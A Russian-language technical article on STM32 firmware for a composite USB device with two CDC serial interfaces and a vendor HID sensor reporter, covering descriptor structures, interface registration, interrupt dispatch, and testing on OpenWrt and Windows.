---------------------------------------------
UBS Composite – USB устройство которое состоит из 3 интерфейсов, где каждый интерфейс, с точки зрения пользователя на хост системе, является отдельным устройством.
Определены следующие устройства:
1. CDC UART
2. CDC ICTRL
3. HID
### CDC
CDC (Communication Device Class) – это класс USB устройств общий для CDC UART и CDC ICTRL. В данном проекте используется PSTN120 профиль класса USB CDC. Если по-простому, то с точки зрения хост системы, это обычный USB Serial конвертер и не требует специальных драйверов. Описание CDC на usb.org:
<https://www.usb.org/document-library/class-definitions-communication-devices-12>
Устройство понимает команды конфигурации скорости и формата посылки (старт, стоп биты, биты четности и т.д.). В зависимости от типа нижестоящего интерфейса (downward facing interface, aka DFI) может выполнять различные ф-ции, например, такие как UART, SPI или I2C конвертер. В данном проекте реализовано две разновидности CDC устройств – CDC UART и CDC ICTRL.
#### CDC UART
Транслирует полученные данные через аппаратный UART порт контроллера в USB CDC устройство и обратно. Т.е. работает как тривиальный USB UART конвертер.
#### CDC ICTRL
Устройство не связано с внешними интерфейсами, а генерирует и обрабатывает данные локально. Может использоваться, например, для вывода отладочной печати и передачи управляющих команд на контроллер.
### HID
Не стандартное (vendor specific) USB HID устройство которое периодически передает на хост данные со встроенного температурного датчика и напряжение питания контроллера. Описание HID интерфейса:
[usb.org/sites/default/files/hid1\_11.pdf](https://usb.org/sites/default/files/hid1_11.pdf)
Описания структуры HID устройства (`USBD_HidDesc`) и формата пакетов (`Dev0_HID_ReportDesc` hid report descriptor) отсылается на хост в момент подключения и инициализации HID интерфейса.
Основные типы данных, объекты и их зависимости
----------------------------------------------
Связь объектов и их иерархия
---
`USBD_Handle hUsbDevice` - USB устройство верхнего уровня (aka Middleware)
Содержит структуры описания оконечных точек (end points ep\_in/ep\_out), статуса, дескриптора устройства (`pDesc`), указатели на ф-ции обработки запросов (`pClass`), указатель на USB устройство HAL уровня (`pPCDHandle`), а также указатели на отдельные интерфейсы (`intf`).
Описание типа USBD\_Handle
```
typedef struct _USBD_Handle {
uint8_t id;
uint32_t dev_config;
uint32_t dev_default_config;
uint32_t dev_config_status;
USBD_Speed dev_speed;
USBD_Endpoint ep_in[16];
USBD_Endpoint ep_out[16];
__IO uint32_t ep0_state;
uint32_t ep0_data_len;
__IO uint8_t dev_state;
__IO uint8_t dev_old_state;
uint8_t dev_address;
uint8_t dev_connection_status;
uint8_t dev_test_mode;
uint32_t dev_remote_wakeup;
USBD_SetupReq request;
USBD_Descriptors *pDesc;
USBD_Class *pClass;
uint8_t ConfIdx;
USBD_ConfigDesc *config_desc;
usbd_intf_t intf[COMPOSITE_INTF_NUM];
PCD_HandleTypeDef *pPCDHandle;
} USBD_Handle;
```
Структура основана на автоматически сгенерированном коде CubeIDE, однако содержит существенные изменения. Первое - полностью типизированные и именованные дескрипторы устройства, интерфейсов, оконечных точек и т.п. В оригинальном коде дескриптор устройства это байтовый массив (спасибо хоть в комменты название полей вставили), который при любом изменении надо заново руками пересчитывать длину и по сто раз перепроверять. В предложенном коде дескриптор устройства состоит из определенных стандартом полей и массивом неопределенного размера, который, в свою очередь, дополняется другими дескрипторами по мере регистрации интерфейсов. В качестве примера ниже приведен заголовок дескриптора устройства с полями именованными в соответствии со стандартом USB.
Типизированное описание дескриптора устройства (USBD\_ConfigDesc)
```
typedef struct {
uint8_t bLength; /* Size of this descriptor in bytes. 0x09 */
uint8_t bDescriptorType; /* Configuration (assigned by USB). 0x02 */
uint16_t wTotalLength; /* Total length of data returned for this configuration. */
uint8_t bNumInterfaces; /* Number of interfaces supported by this configuration. */
uint8_t bConfigurationValue; /* Value to use as an argument to Set Configuration to
select this configuration.*/
uint8_t iConfiguration; /* Index of string descriptor describing this configuration.
In this case there is none*/
uint8_t bmAttributes; /* Configuration characteristics */
uint8_t bMaxPower; /* Maximum power consumption of USB device from bus
in this specific configuration when the device is fully
operational. Expressed in 2 mA units */
uint8_t data[0]; /* Place holder for other descriptors */
} USBD_ConfigDesc;
```
А так выглядит инициализация HID дескриптора с типизированными дескрипторами.
```
/************** Descriptor of CUSTOM HID interface ****************/
USBD_Dev0_HID_ConfigDesc dev0_hid_config_desc_template = {
.interface_desc = {
.bLength = sizeof(USBD_InterfaceDesc),
.bDescriptorType = USB_DESC_TYPE_INTERFACE,
.bInterfaceNumber = TBD, /* Initialized at HID_Register() */
.bAlternateSetting = 0x00,
.bNumEndpoints = 0x02,
.bInterfaceClass = 0x03, /* USB Class HID = 3 */
.bInterfaceSubClass = 0x00, /* bInterfaceSubClass : 1=BOOT, 0=no boot*/
.nInterfaceProtocol = 0x00, /* nInterfaceProtocol : 0=none, 1=keyb, 2=mouse*/
.iInterface = 0x00,
},
.hid_desc = {
.bLength = sizeof(USBD_HidDesc),
.bDescriptorType = HID_DESCRIPTOR_TYPE, /* bDescriptorType: HID */
.bcdHID = 0x0111, /* HID Class Spec release number 1.11 */
.bCountryCode = 0x00, /* 0x17 */
.bNumDescriptors = 0x01, /* Number of class descriptors to follow */
.bRepDescriptorType = HID_REPORT_DESC, /* bDescriptorType */
.wRepDescriptorLength = host2usb_u16(sizeof(Dev0_HID_ReportDesc)),
/* wItemLength: Tot len of Report descriptor*/
},
.ep_in = {
.bLength = sizeof(USBD_EpDesc), /* bLength: Endpoint Descriptor size */
.bDescriptorType = USB_DESC_TYPE_ENDPOINT, /* bDescriptorType: */
.bEndpointAddress = TBD, /* Initialized at HID_Register */
.bmAttributes = 0x03, /* bmAttributes: Interrupt endpoint */
.wMaxPacketSize = host2usb_u16(sizeof(dev0_in_report_t)), /* wMaxPacketSize: 2 Byte max */
.bInterval = DEV0_HID_FS_BINTERVAL, /* bInterval: Polling Interval */
},
.ep_out = {
.bLength = sizeof(USBD_EpDesc), /* bLength: Endpoint Descriptor size */
.bDescriptorType = USB_DESC_TYPE_ENDPOINT, /* bDescriptorType: */
.bEndpointAddress = TBD, /* Initialized at HID_Register */
.bmAttributes = 0x03, /* bmAttributes: Interrupt endpoint */
.wMaxPacketSize = host2usb_u16(sizeof(dev0_out_report_t)), /* wMaxPacketSize: 2 Byte max */
.bInterval = DEV0_HID_FS_BINTERVAL, /* bInterval: Polling Interval */
}
};
```
Где инициализация поля в значение “TBD” означает, что оно будет проинициализированно во время работы в зависимости от положения этого дескриптора в структуре дескриптора устройства.
Второе существенное отличие, ради которого всё и затевалось - это массив интерфейсов в структуре USBD\_Handle:
```
usbd_intf_t intf[COMPOSITE_INTF_NUM];
```
Где каждый интерфейс это одно из подустройств – CDC UART, CDC ICTRL или HID.
Каждый интерфейс содержит в себе набор указателей на функции для обработки стандартных USB запросов (callbacks), а также контекст специфичный для конкретного устройства. В оригинальном коде каждый интерфейс и его контекст были отдельными полям структуры, что значительно усложняло добавление новых или изменение существующих интерфейсов. Переход к унифицированному описанию интерфейсов убирает этот недостаток.
Описание структуры интерфейса usbd\_intf\_t
```
typedef struct usbd_intf_s {
/* Interface’s context */
union intf_dev_handle_u {
void *ctx;
struct _USBD_HID_Handle *hid;
struct _USBD_CDC_Handle *cdc;
} h;
void (*Init)(union intf_dev_handle_u h, struct _USBD_Handle *pdev, uint8_t cfgidx);
void (*DeInit)(union intf_dev_handle_u h, uint8_t cfgidx);
uint8_t (*EP0_RxReady)(union intf_dev_handle_u h);
uint8_t (*Setup)(union intf_dev_handle_u h, enum setup_recp_e, uint8_t recp_idx, USBD_SetupReq *req);
uint8_t (*DataIn)(union intf_dev_handle_u h, uint8_t epnum);
uint8_t (*DataOut)(union intf_dev_handle_u h, uint8_t epnum);
} usbd_intf_t;
```
По приходу USB пакета вызывается соответствующая функция из набора USBD\_Class и если пакет предназначен индивидуально для какого-либо из устройств, то вызывается функция соответствующего интерфейса с передачей его личного контекста.
---
`USBD_xxx_Handle` - контексты интерфейсов.
В проекте определены следующие объекты этого типа (по одному на каждый интерфейс):
* `USBD_CDC_Handle g_cdc0;`
* `USBD_CDC_Handle g_cdc1;`
* `USBD_HID_Handle g_hid0;`
`USBD_CDC_Handle` - `g_cdc0, g_cdc1`
Описание типа USBD\_CDC\_Handle
```
typedef struct _USBD_CDC_Handle
{
/* Initialized @ USBD_Composite_Init -> USBD_CDC_Init */
uint8_t ifnum_cmd;
uint8_t epnum_cmd;
uint8_t ifnum_data;
uint8_t epnum_data;
struct _USBD_Handle *pdev;
/* Initialized @ cdc_uart_init */
cdc_dfi_t *dfi;
uint8_t data[CDC_DATA_MAX_PACKET_SIZE] __attribute__ ((aligned (4)));
uint8_t CmdOpCode;
uint8_t CmdLength;
__IO uint32_t TxState;
__IO uint32_t RxState;
USBD_CDC_ConfigDesc *cfg_desc;
} USBD_CDC_Handle;
```
С точки зрения USB, оба CDC устройства одинаковые, поэтому и тип у них один - `USBD_CDC_Handle`. Отличаются они вниз смотрящим интерфейсом (DFI) – UART или ICTRL, который прилинковывается к CDC устройству в процессе инициализации.
DFI (downward facing interface) – интерфейс для связи CDC устройства с его функционалом. В данном проекте это UART и ICTRL.
Описание DFI структуры cdc\_dfi\_t
```
/* CDC downward facing interface - DFI */
typedef struct cdc_dfi_s {
/* Functional specific part – individual for each DFI type */
union {
struct cdc_ictrl_s *cdc_ictrl;
struct cdc_uart_s *cdc_uart;
} ctx;
/* USB specific part common for all CDC interfaces */
void (*start_rx) (struct cdc_dfi_s *dfi);
void (*stop_rx) (struct cdc_dfi_s *dfi);
void (*on_idle) (struct cdc_dfi_s *dfi);
void (*on_control) (struct cdc_dfi_s *dfi, uint8_t cmd, uint8_t* buf, uint16_t len);
void (*on_rx) (struct cdc_dfi_s *dfi, uint32_t len);
uint8_t *(*get_ds_buffer) (struct cdc_dfi_s *dfi);
} cdc_dfi_t;
```
Объекты типа `cdc_dfi_t` сами по себе не существуют, а всегда являются составной частью какого-то функционала - `cdc_uart_t` или `cdc_ictrl_t`, см. описание ниже.
cdc\_uart\_t - g\_cdc\_uart;
```
typedef struct cdc_uart_s {
uart_cdc_upstream_t us;
uart_cdc_downstream_t ds;
cdc_dfi_t dfi;
} cdc_uart_t;
```
`cdc_uart_t` - Модуль UART предназначенный для работы с CDC интерфейсом. Поскольку CDC не заботит какой функционал к нему подключен, то он не связан напрямую с cdc\_uart\_t, а только через DFI интерфейс. CDC\_UART состоит из 3 основных частей:
* `uart_cdc_upstream_t us;`
Отвечает за трафик от uart к хосту.
* `uart_cdc_downstream_t ds;`
Отвечает за трафик от хоста к uart.
* `cdc_dfi_t dfi;`Набор функций для обработки вызовов со стороны USB. Например таких как обработка комманд управления, передачи буферов и т.п.
cdc\_ictrl\_t - g\_cdc\_ictrl;
```
typedef struct cdc_ictrl_s {
ictrl_cdc_upstream_t us;
ictrl_cdc_downstream_t ds;
cdc_dfi_t dfi;
} cdc_ictrl_t;
```
Модуль Internal Control (ICTRL) также как и `cdc_uart_t` описанный выше связан с CDC через DFI.
`USBD_HID_Handle - g_hid0`
Описание типа USBD\_HID\_Handle
```
typedef struct _USBD_HID_Handle {
union {
USBD_Dev0_HID_ConfigDesc *dev0; /* Pointer to HID part in Composite device
descriptor Initialized during HID
registration upon startup */
} hid_cfg_desc;
/********** Configuration specific parameters *****/
/* Initialized @ USBD_Composite_Init -> USBD_HID_Init */
uint8_t ifnum;
uint8_t epnum;
size_t epin_size;
size_t epout_size;
uint8_t *ReportBuf;
size_t ReportBufLen;
uint8_t *ReportDesc;
size_t ReportDescLen;
struct _USBD_Handle *pdev;
/***********************************************/
uint8_t *pReport;
uint32_t Protocol;
uint32_t IdleState;
uint32_t AltSetting;
uint32_t IsReportAvailable;
CUSTOM_HID_StateTypeDef state;
void (*Register)(struct _USBD_HID_Handle *hhid, USBD_ConfigDesc *config_desc, …
USBD_HidDesc* (*GetHidDescr)(struct _USBD_HID_Handle *hhid);
void (*Init)(struct _USBD_HID_Handle *hhid, uint8_t cfgidx);
void (*DeInit)(struct _USBD_HID_Handle *hhid);
int8_t (*OutEvent)(struct _USBD_HID_Handle *hhid, uint8_t *buf, int len);
} USBD_HID_Handle;
```
HID устройство – это общий класс устройств, функционал которого определяется соответствующим дескриптором. HID устройство связывается со своим функционалом (в данном проекте `dev0`) при начальной инициализации.
`dev0_t g_dev0`- фукционал HID устройства
Описание типа dev0\_t
```
typedef struct {
uint32_t last_report_tick;
USBD_HID_Handle *hid;
dev0_in_report_t hid_in_report;
dev0_out_report_t hid_out_report;
} dev0_t;
```
Занимается тем, что периодически забирает данные из модуля внутренних датчиков (imon) и оправляет их в HID для дальнейшей отправки уже в виде USB пакета (HID Report). В данном проекте функции dev0 сознательно сведены к минимуму, чтобы не перегружать код тем, что не относится к основной теме.
Основные этапы работы программы
-------------------------------
Базовая инициализация
```
HAL_Init();
SystemClock_Config();
__disable_irq();
MX_GPIO_Init();
MX_DMA_Init();
MX_ADC1_Init();
MX_TIM3_Init(); /* Used by ADC as a trigger source */
MX_USART3_UART_Init();
```
Типовая автосгенерированная инициализация переферии. Ничего интересного.
MX\_USB\_DEVICE\_Init(); Инициализация USB интерфейсаЗа основу взят автоматически сгенерированный код CubeIDE.
По мимо всего прочего вызывает функции регистрации отдельных интерфейсов внутри составного устройства (USB Composite device).
```
{ /* Link interfaces into composite class */
int ep_in_use = 1;
int if_in_use = 0;
HID_Register(&g_hid0, &pdev->intf[0], pdev->config_desc, &if_in_use, &ep_in_use);
CDC_Register(&g_cdc0, &pdev->intf[1], pdev->config_desc, &if_in_use, &ep_in_use);
CDC_Register(&g_cdc1, &pdev->intf[2], pdev->config_desc, &if_in_use, &ep_in_use);
pdev->config_desc->bNumInterfaces = if_in_use;
}
```
Во время регистрации, каждый из интерфейсов добавляет к дескриптору устройства (`pdev->config_desc`) свою индивидуальную часть и увеличивает счетчик использованных конечных точек (`ep_in_use`) и их интерфейсов (`if_in_use`). Указатель на свою часть в дескрипторе устройства каждый интерфейс хранит у себя и использует его во время инициализации в ф-ции `pClass->Init()`.
Соответственно, при добавлении новых интерфейсов сюда надо добавить его регистрацию.
Пример ф-ции регистрации HID интерфейса
```
void Dev0_HID_Register (
USBD_HID_Handle *hhid, USBD_ConfigDesc *config_desc,
int *ifnum, int *epnum)
{
USBD_Dev0_HID_ConfigDesc *desc =
&dev0_hid_config_desc_template;
desc->interface_desc.bInterfaceNumber = *ifnum;
desc->ep_in.bEndpointAddress = EP_IN_ADDR(*epnum);
desc->ep_out.bEndpointAddress = EP_OUT_ADDR(*epnum);
hhid->hid_cfg_desc.dev0 = USBD_CfgDescAppend(
config_desc,
(uint8_t*)desc,
sizeof(USBD_Dev0_HID_ConfigDesc));
*ifnum += 1;
*epnum += 1;
}
```
Ф-ция `USBD_CfgDescAppend()` добавляет дескриптор переданный в виде аргумента (`desc`) к общему дескриптору устройства (`config_desc`) и возвращает адрес позиции куда он был добавлен.
В приведенном коде дескриптор HID устройства `desc` типа `USBD_Dev0_HID_ConfigDesc` - это шаблон (`dev0_hid_config_desc_template`) который состоит из других дескрипторов и в которых некоторые поля заменяются в зависимости от количества уже задействованных интерфейсов и оконечных точек.
```
#pragma pack(push, 1)
typedef struct _USBD_Dev0_HID_ConfigDesc {
USBD_InterfaceDesc interface_desc;
USBD_HidDesc hid_desc;
USBD_EpDesc ep_in;
USBD_EpDesc ep_out;
} USBD_Dev0_HID_ConfigDesc;
#pragma pack(pop)
```
А, например, дескриптор CDC устройства выглядит вот так:
```
#pragma pack(push, 1)
typedef struct _USBD_CDC_ConfigDesc {
USBD_IADDesc if_assoc_desc;
USBD_InterfaceDesc interface_desc_cmd;
USBD_FuncDescHdr func_desc_header;
USBD_FuncDescCallMng func_desc_call_mng;
USBD_FuncDescACM func_desc_acm;
USBD_FuncDescUnion func_desc_union;
USBD_EpDesc cmd_ep;
USBD_InterfaceDesc interface_desc_data;
USBD_EpDesc data_ep_out;
USBD_EpDesc data_ep_in;
} USBD_CDC_ConfigDesc;
#pragma pack(pop)
```
dev0\_init(); Инициализация функционала HID устройстваФункции этого устройства сведены к минимуму, поэтому и в инициализации ничего интересного.
imon\_init(); Инициализация модуля Internal Monitor - Инициализация коэффициентов для вычисления показаний с внутреннего датчика температуры и напряжения с учетом калибровочных значений.
cdc\_uart\_init(&g\_cdc\_uart3, &g\_cdc0, &huart3); Инициализация CDC\_UARTФ-ция связвает вместе CDC устройство (`g_cdc0`) с функционалом USB UART конвертера (`g_cdc_uart3`) и сам конвертер с аппаратным портом UART (`huart3`). Также инициализируются функции DFI итерфейса.
cdc\_ictrl\_init(&g\_cdc1); Инициализация CDC\_ICTRLФ-ция связывает CDC устройство (`g_cdc1`) c функционалом ictrl – `g_cdc_ictrl`. В отличии от UART конвертера, ictrl не предназначен иметь несколько инстанций и поэтому он не передается в ф-цию как параметр, а используется непосредственно как глобальный объект.
HAL\_ADC\_Start\_DMA(&hadc, (uint32\_t\*)&g\_adc\_samples[0], ADC\_CH\_NUM); Запуск АЦП.АЦП работает по сигналу от таймера и по кругу записывает результат в глобальный массив.
HAL\_TIM\_Base\_Start\_IT(&htim3); Запуск таймераИнициализация таймера с периодом 4.5мс и генерацией сигнала для АЦП
Основной цикл выполнения программы
```
while (1) {
now = HAL_GetTick();
g_cnt ++;
dev0_on_idle(now);
imon_on_idle(now);
g_cdc_uart3.dfi.on_idle(&g_cdc_uart3.dfi);
g_cdc_ictrl.dfi.on_idle(&g_cdc_ictrl.dfi);
#if NAVIG
cdc_uart_dfi_on_idle();
cdc_ictrl_dfi_on_idle();
#endif
}
```
`dev0_on_idle()` – периодически собирает данные от imon и отправляет их в USB.
`imon_on_idle()` – периодически конвертирует данные с каналов АЦП в показания температуры и напряжения питания.
`g_cdc_uart3.dfi.on_idle()` – функция проверяет состояния приемника UART и если предыдущая транзакция закончилась, то вычисляется оставшееся место в приемном буфере и инициируется новая DMA транзакция с генерацией прерывания по завершению. Также, функция проверяет наличие данных в приемном UART буфере и отправляет их хосту. Фактически, в основном цикле обслуживается только upstream поток. Downstream обслуживается исключительно по прерыванию от USB, т.е. по приходу нового пакета данных.
`g_cdc_ictrl.dfi.on_idle()` – проверяет наличие данных для отправки на хост и если данных накопилось достаточно много (64байта) или они залежались (>16мс), то формируется новый пакет и отправляется в CDC интерфейс (`USBD_CDC_TransmitPacket()`).
> Здесь и далее все вызовы функций под препроцессорным условием NAVIG не компилируются и необходимы только для удобного чтения и навигации по коду. Так например косвенный вызов `g_cdc_uart3.dfi.on_idle()` в ходе работы выполняется как `cdc_uart_dfi_on_idle()`, а `g_cdc_ictrl.dfi.on_idle()` как `cdc_ictrl_dfi_on_idle()` и так далее.
>
>
HAL\_PCD\_IRQHandler() – обработчик прерываний от USB.Каждый приходящий пакет от USB сперва обрабатывается типовым кодом сгенерированным CubeIDE. Этот обработчик включает в себя разбор служебных пакетов, запросов дескрипторов, обработку ошибок и т.п. По приходу пакета данных, для всех оконечных точек вызываются зарегистрированные функции USB класса `pClass->DataOut()` или `pClass->EP0_RxReady()`, они же `USBD_Composite_DataOut()` и `USBD_Composite_EP0_RxReady()`, соответственно.
Для служебных пакетов которые специфичны для конкретного интерфейса вызываются ф-ции `USBD_Composite_Init()` и `USBD_Composite_Setup()`.
Основная суть перехода к конфигурируемому массиву USB интерфейсов состоит в том, чтобы не менять обработчик прерываний при добавлении/удалении интерфейсов из кода. Т.е. пакеты поступают на обработчики составного устройства (`USBD_Composite_xxx`), а затем в цикле передаются на все зарегистрированные интерфейсы пока какой-либо из интерфейсов не заберет пакет себе (т.е. вернет код `USBD_BUSY`).
USBD\_Composite\_Init() - Обработчик служебных пакетов
```
for (i = 0; i < COMPOSITE_INTF_NUM; i ++) {
usbd_intf_t *intf = &pdev->intf[i];
if (!intf || !intf->Init || !intf->h.ctx) continue;
intf->Init(intf->h, pdev, cfgidx);
#if NAVIG
USBD_HID_Init(hhid, pdev, cfgidx);
USBD_CDC_Init(hcdc, pdev, cfgidx);
#endif
}
```
Обработчик по очереди вызывает ф-ции Init() для всех зарегистрированных интерфейсов. Эти ф-ции инициализируют оконечные точки USB устройства на уровне периферии микроконтроллера в зависимости от того, что записано в принадлежащей им части дескриптора устройства, которая была создана во время регистрации интерфейса.
Ещё одним важным отличием от оригинального кода CubeIde является выделение специализированной области памяти под оконечные точки (PMA буфера). В оригинальном коде память распределяется полностью вручную и статически, тогда как в предложенном варианте динамически – см. ф-цию `HAL_PCD_PMA_Alloc()`. Память выделяется при открытии оконечной точки в цепочке вызовов `pClass->Init() => USBD_Composite_Init() => USBD_xxx_Init() => USBD_LL_OpenEP() => HAL_PCD_EP_Open()` и освобождается при закрытии USB устройства в цепочке `pClass->DeInit() => ... => HAL_PCD_EP_Close().`
USBD\_Composite\_Setup() - Обработчик служебных пакетов
```
for (i = 0; i < COMPOSITE_INTF_NUM; i++) {
usbd_intf_t *intf = &pdev->intf[i];
if (!intf || !intf->Setup) continue;
rc = intf->Setup(intf->h, recp, recp_idx, req);
#if NAVIG
USBD_CDC_Setup();
USBD_HID_Setup();
#endif
if (rc == USBD_BUSY || rc == USBD_FAIL) break;
}
```
Обработчик Setup фазы в соответствии с протоколом обмена USB. Для CDC устройств на этой стадии могут быть сконфигурированны параметры UART интерфейса – скорость, кол-во бит и т.п. Для HID устройства на этой фазе хост запрашивает дескриптор формата пакетов (ака `ReportDesc`), а также дескриптор HID устройства - `USBD_HidDesc`.
USBD\_Composite\_DataOut() - Обработчик входных данных Функция обработчик **входных** данных для интерфейсов. Не забываем что название потоков в USB всегда **относительно хоста**. Т.е. DataOut для USB клиента – это входные данные.
В качестве параметров принимает номер интерфейса и номер оконечной точки данных для которых эти данные предназначены. Как и в других функциях композитного устройства, параметры передаются на все зарегистрированные интерфейсы и если какой-то из интерфейсов признает эти данные своими, то возвращает код `USBD_BUSY` и на этом обработка пакета заканчивается.
USBD\_Composite\_DataIn() - Обработчик исходящих данныхВыглядит аналогично `USBD_Composite_DataOut()`
Компиляция и запуск
-------------------
Компиляция без каких-либо особенностей все параметры в дефолтных значениях. Ниже приведен размер используемой памяти после компиляции с включенной оптимизацией и минимальным функционалом. Размер ОЗУ может варьироваться в зависимости от размеров буферов CDC конвертеров. В этом проекте особо не жадничал. Объем кода ~32кБ.
```
arm-none-eabi-objcopy -O binary USB-PD.elf "USB-PD.bin"
text data bss dec hex filename
33480 988 6804 41272 a138 USB-PD.elf
```
По совместимости с хост системами проект проверен на двух системах – Windows10 и OpenWrt.
### Пример использования под Linux системой OpenWrt
Для поддержки HID и CDC устройств в конфигурацию сборки Linux необходимо добавить модули ACM и HID. Опционально usbutils.
```
<*> kmod-usb2................................... Support for USB2 controllers
<*> kmod-usb-hid......................... Support for USB Human Input Devices
<*> kmod-usb-acm......................... Support for modems/isdn controllers
<*> usbutils................................... USB devices listing utilities
```
Во время запуска OpenWrt детектирует устройства следующим образом:
```
[ 13.319863] hidraw: raw HID events driver (C) Jiri Kosina
[ 13.441134] cdc_acm 1-1:1.1: ttyACM0: USB ACM device
[ 13.455548] cdc_acm 1-1:1.3: ttyACM1: USB ACM device
[ 13.462624] usbcore: registered new interface driver cdc_acm
[ 13.468568] cdc_acm: USB Abstract Control Model driver for USB modems and ISDN adapters
...
[ 13.682913] hid-generic 0003:0483:5732.0001: hiddev96,hidraw0: USB HID v1.11 Device [AV 2xCDC HID Composite device] on usb-ehci-platform-1/input0
[ 13.696697] usbcore: registered new interface driver usbhid
[ 13.702451] usbhid: USB HID core driver
```
После загрузки можно посмотреть вывод утилиты lsusb.
Листинг lsusb
```
root@OpenWrt:~#
root@OpenWrt:~# lsusb
Bus 001 Device 005: ID 0483:5732 STMicroelectronics
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
root@OpenWrt:~#
root@OpenWrt:~#
root@OpenWrt:~# lsusb -v -d 0483:5732
Bus 001 Device 005: ID 0483:5732 STMicroelectronics
Device Descriptor:
bLength 18
bDescriptorType 1
bcdUSB 2.00
bDeviceClass 239 Miscellaneous Device
bDeviceSubClass 2 ?
bDeviceProtocol 1 Interface Association
bMaxPacketSize0 64
idVendor 0x0483 STMicroelectronics
idProduct 0x5732
bcdDevice 0.01
iManufacturer 1 AV
iProduct 2 2xCDC HID Composite device
iSerial 3 104731433332
bNumConfigurations 1
Configuration Descriptor:
bLength 9
bDescriptorType 2
wTotalLength 173
bNumInterfaces 5
bConfigurationValue 1
iConfiguration 2 2xCDC HID Composite device
bmAttributes 0xc0
Self Powered
MaxPower 100mA
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 0
bAlternateSetting 0
bNumEndpoints 2
bInterfaceClass 3 Human Interface Device
bInterfaceSubClass 0 No Subclass
bInterfaceProtocol 0 None
iInterface 0
HID Device Descriptor:
bLength 9
bDescriptorType 33
bcdHID 1.11
bCountryCode 0 Not supported
bNumDescriptors 1
bDescriptorType 34 Report
wDescriptorLength 31
Report Descriptors:
** UNAVAILABLE **
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x81 EP 1 IN
bmAttributes 3
Transfer Type Interrupt
Synch Type None
Usage Type Data
wMaxPacketSize 0x0002 1x 2 bytes
bInterval 5
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x01 EP 1 OUT
bmAttributes 3
Transfer Type Interrupt
Synch Type None
Usage Type Data
wMaxPacketSize 0x0001 1x 1 bytes
bInterval 5
Interface Association:
bLength 8
bDescriptorType 11
bFirstInterface 1
bInterfaceCount 2
bFunctionClass 2 Communications
bFunctionSubClass 2 Abstract (modem)
bFunctionProtocol 1 AT-commands (v.25ter)
iFunction 0
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 1
bAlternateSetting 0
bNumEndpoints 1
bInterfaceClass 2 Communications
bInterfaceSubClass 2 Abstract (modem)
bInterfaceProtocol 1 AT-commands (v.25ter)
iInterface 0
CDC Header:
bcdCDC 1.10
CDC Call Management:
bmCapabilities 0x00
bDataInterface 2
CDC ACM:
bmCapabilities 0x02
line coding and serial state
CDC Union:
bMasterInterface 1
bSlaveInterface 2
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x82 EP 2 IN
bmAttributes 3
Transfer Type Interrupt
Synch Type None
Usage Type Data
wMaxPacketSize 0x0008 1x 8 bytes
bInterval 16
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 2
bAlternateSetting 0
bNumEndpoints 2
bInterfaceClass 10 CDC Data
bInterfaceSubClass 0 Unused
bInterfaceProtocol 0
iInterface 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x03 EP 3 OUT
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0040 1x 64 bytes
bInterval 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x83 EP 3 IN
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0040 1x 64 bytes
bInterval 0
Interface Association:
bLength 8
bDescriptorType 11
bFirstInterface 3
bInterfaceCount 2
bFunctionClass 2 Communications
bFunctionSubClass 2 Abstract (modem)
bFunctionProtocol 1 AT-commands (v.25ter)
iFunction 0
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 3
bAlternateSetting 0
bNumEndpoints 1
bInterfaceClass 2 Communications
bInterfaceSubClass 2 Abstract (modem)
bInterfaceProtocol 1 AT-commands (v.25ter)
iInterface 0
CDC Header:
bcdCDC 1.10
CDC Call Management:
bmCapabilities 0x00
bDataInterface 4
CDC ACM:
bmCapabilities 0x02
line coding and serial state
CDC Union:
bMasterInterface 3
bSlaveInterface 4
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x84 EP 4 IN
bmAttributes 3
Transfer Type Interrupt
Synch Type None
Usage Type Data
wMaxPacketSize 0x0008 1x 8 bytes
bInterval 16
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 4
bAlternateSetting 0
bNumEndpoints 2
bInterfaceClass 10 CDC Data
bInterfaceSubClass 0 Unused
bInterfaceProtocol 0
iInterface 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x05 EP 5 OUT
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0040 1x 64 bytes
bInterval 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x85 EP 5 IN
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0040 1x 64 bytes
bInterval 0
Device Status: 0x0001
Self Powered
root@OpenWrt:~#
root@OpenWrt:~#
root@OpenWrt:~#
```
Для работы с модулем ICTRL можно использовать любое терминальное приложение - screen, picocom, Minicom, Putty, и т.д. вплоть хоть до socat.
Для работы с HID устройством, лично я, использую библиотеку libusb - <https://libusb.info/>
Запуск и проверка на Windows
----------------------------
После подключения к Windows хосту в системе появляется 3 новых устройства (см. ниже) – два USB Serial устройства COM8 и COM9, а также USB Input Device.
Состояние менеджера устройств Windows при подключенном устройстве.Для проверки USB Serial конвертера (он же CDC UART) необходимо подключить внешнее устройство.
Для проверки CDC ICTRL ничего подключать не надо. Достаточно открыть терминал на порту COM8. Например PuTTY.
Пример вывода дебаговой печати ICTRL (температура и рабочее напряжение).В терминал выводится текущая температура и напряжение питания контроллера, которое выводится как пример дебаговой печати из ф-ции `dev0_on_idle()`.
dev0\_on\_idle()
```
void dev0_on_idle (uint32_t now_tick)
{
....
if ((imon->temp_degc != INT16_MAX) && g_dbg0 == 0){
static int cnt = 0;
ictrl_printf("[%d] %dC, %dmV\n",
cnt++, imon->temp_degc, imon->vref);
}
...
}
```
Этот же порт можно использовать и для передачи управляющих команд. Однако, использовать для этого терминал не совсем удобно т.к. при постоянном выводе в консоль набирать команды приходится практически в слепую. Для удобства, в некоторых случаях, можно использовать RealTerm у которого есть два специальных поля для отсылки коротких посылок.
